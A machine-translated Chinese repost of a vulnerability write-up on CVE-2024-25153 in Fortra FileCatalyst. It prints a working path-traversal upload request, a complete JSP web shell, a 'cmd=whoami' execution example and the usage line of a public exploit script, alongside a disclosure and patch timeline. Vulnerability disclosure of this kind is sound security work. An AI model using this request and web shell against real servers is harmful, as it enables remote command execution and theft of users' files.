|
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
这篇文章为机翻文,部分内容翻译的可能不是很准确,建议阅读原文:https://labs.nettitude.com/blog/cve-2024-25153-remote-code-execution-in-fortra-filecatalyst/
漏洞介绍
https://github.com/nettitude/CVE-2024-25153
https://www.goanywhere.com/products/filecatalyst/filecatalyst-workflow
过去 12 个月,托管文件传输 (MFT) 应用程序中发现了多个重大漏洞,例如CVE-2023-34362(MOVEit Transfer 应用程序中的 SQL 注入和远程执行代码漏洞)以及CVE-2024-0204(一个Fortra GoAnywhere 的身份验证绕过问题。
文件上传分析-FtpServlet
在 FileCatalyst 工作流程中,文件上传过程涉及对以下 URL 的 POST 请求。
https://{url}/workflow/servlet/ftpservlet
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: image/png
X-File-Name: upload.png
{file contents}
尽管此请求需要会话令牌,但默认情况下,FileCatalyst Workflow允许公共用户匿名登录。此凭据或有效凭据是利用 CVE-2024-25153 的要求。
为了识别潜在的安全问题,我们从Fortra的公共网站下载并反编译了最新版本的FileCatalyst Workflow 。
https://filecatalyst.software/workflow.html
目录遍历分析
https://{url}/workflow/uploadtemp/{session_id}/{file_name}
但是,uploadtemp目录中的任何文件或文件夹都被明确拒绝公开访问,并且会话ID是随机生成的,用户不知道。
重要的是,我们观察到临时上传目录会在上传后不久被清理过程删除。确切的时间窗口取决于服务器端FTP连接完成所需的时间,这被认为足以进行潜在的攻击。
在本地漏洞利用尝试期间,下面屏幕截图显示了这种不幸的影响。
如果在针对客户环境的安全评估期间尝试进行此攻击,则需要注意这一点。
识别隐藏参数
正如前面提到的,这个字符串值被混淆了,我们必须逆向混淆函数来识别原始字符串,如下所示,这显示了sid请求参数。
上传命令执行脚本
对于读到这里的任何人来说,不要尝试将文件上传到顶级目录,这一点非常重要,因为这可能会删除整个应用程序。
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: a
X-File-Name: shell.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
https://{url}/workflow/nettitude/shell.jsp
远程代码执行
https://{url}/workflow/nettitude/shell.jsp?cmd=whoami
nt authoritylocal service
以上表明可以实现操作系统级别的访问,攻击者可以读取或修改系统上的数据,可能包括其他用户上传的文件。这带来了严重的机密性、完整性和可用性风险。
同样,在FileCatalyst Direct中,也观察到同样存在漏洞的 FtpServlet:
https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct
https://{url}:12480/servlet/ftpservlet
概念验证漏洞利用
https://github.com/nettitude/CVE-2024-25153
要使用它,语法如下:
./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>
自动检测是否启用匿名登录
获取有效的会话令牌
上传具有伪随机生成的文件名的命令执行脚本
执行操作系统命令
披露流程
该漏洞于2023年8月7日发现,于2023年8月9日向Fortra报告,并于2023年8月11日发布有效补丁。Fortra于2023年12月被授权为CVE编号机构(CNA),此时CVE-2024-25153已分配并计划公开披露。
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
知 识 星 球
推 荐 阅 读
原文始发于微信公众号(潇湘信安):CVE-2024-25153:Fortra FileCatalyst中的远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论